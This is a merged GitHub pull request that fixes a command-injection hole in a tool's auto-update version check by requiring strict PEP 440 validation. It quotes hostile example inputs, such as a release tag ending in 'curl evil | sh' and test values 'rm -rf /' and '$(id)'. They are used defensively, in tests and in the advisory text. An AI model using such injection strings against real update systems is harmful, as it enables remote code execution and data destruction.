fix(update): validate fetched release version as strict PEP 440 (GHSA-x6cx, code-only)#462
Merged
Conversation
`_fetch_kbagent_latest_version` validated the GitHub release tag with
`re.match(r"\d+\.\d+\.\d+", version)`, which is anchored at the start but NOT
the end. An adversarial release tag like `v0.99.0; curl evil | sh` passed on
its `0.99.0` prefix and flowed into `resolve_kbagent_wheel_url` /
`build_kbagent_upgrade_command` (the auto-update install command). Replace the
loose prefix match with strict `packaging.version.Version()` validation
(already a dependency; the --beta prerelease path already used it). Same fix
applied to `_fetch_mcp_latest_version` (PyPI -> MCP upgrade command) as
defense-in-depth. `lstrip("v")` -> `removeprefix("v")` (strip exactly one v).
Code-only (no version bump / changelog) to stay conflict-free against the
rapid main release cadence; version + changelog added at next release.
Private advisory GHSA-x6cx-93j8-pgwj.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fixes M10 from the 2026-06-12 security audit (private advisory GHSA-x6cx-93j8-pgwj) — a non-end-anchored version regex in the auto-update path.
_fetch_kbagent_latest_versionvalidated the GitHub/releases/latesttag_namewithre.match(r"\d+\.\d+\.\d+", version).re.matchanchors at the start but not the end, so an adversarial release tag likev0.99.0; curl evil | shmatched on its0.99.0prefix and was returned — then flowed intoresolve_kbagent_wheel_url/build_kbagent_upgrade_command, i.e. the auto-update install command/URL.Fix
Replace the loose prefix match with strict
packaging.version.Version()validation (already a dependency, and the--betaprerelease path_fetch_kbagent_latest_prereleasealready used it). A string that doesn't parse as clean PEP 440 — anything with shell metacharacters, spaces, slashes, etc. — is now rejected and the update is skipped.lstrip("v")→removeprefix("v")(strip exactly one leadingv, not a char-set).Applied the same fix to
_fetch_mcp_latest_version(the PyPI version that feeds the MCP upgrade command) as defense-in-depth — PyPI already enforces PEP 440, but the install-path validation should not rely on that.Tests
TestFetchKbagentLatestVersion: rejects 6 adversarial tags (; curl … | sh,&& rm -rf /,/../../x,$(id), trailing garbage,vgarbage); accepts stable + beta (v0.65.1,v0.43.0b1, bare0.65.2).TestFetchMcpLatestVersion: rejects malformed PyPI versions. AllVersion()rejections empirically confirmed. Full suite green: 4180 passed, 135 skipped; lint/format/tyclean.Touches only
version_service.py+test_version_service.py— no version bump / changelog (added at next release). Same conflict-immunity rationale as #422 / #460 / #461.Audit progress
Last MEDIUM after this: M7 (silent plaintext-on-encrypt write — 3 services), in a separate PR. Then only the M1/M5 residuals remain (both owner-accepted).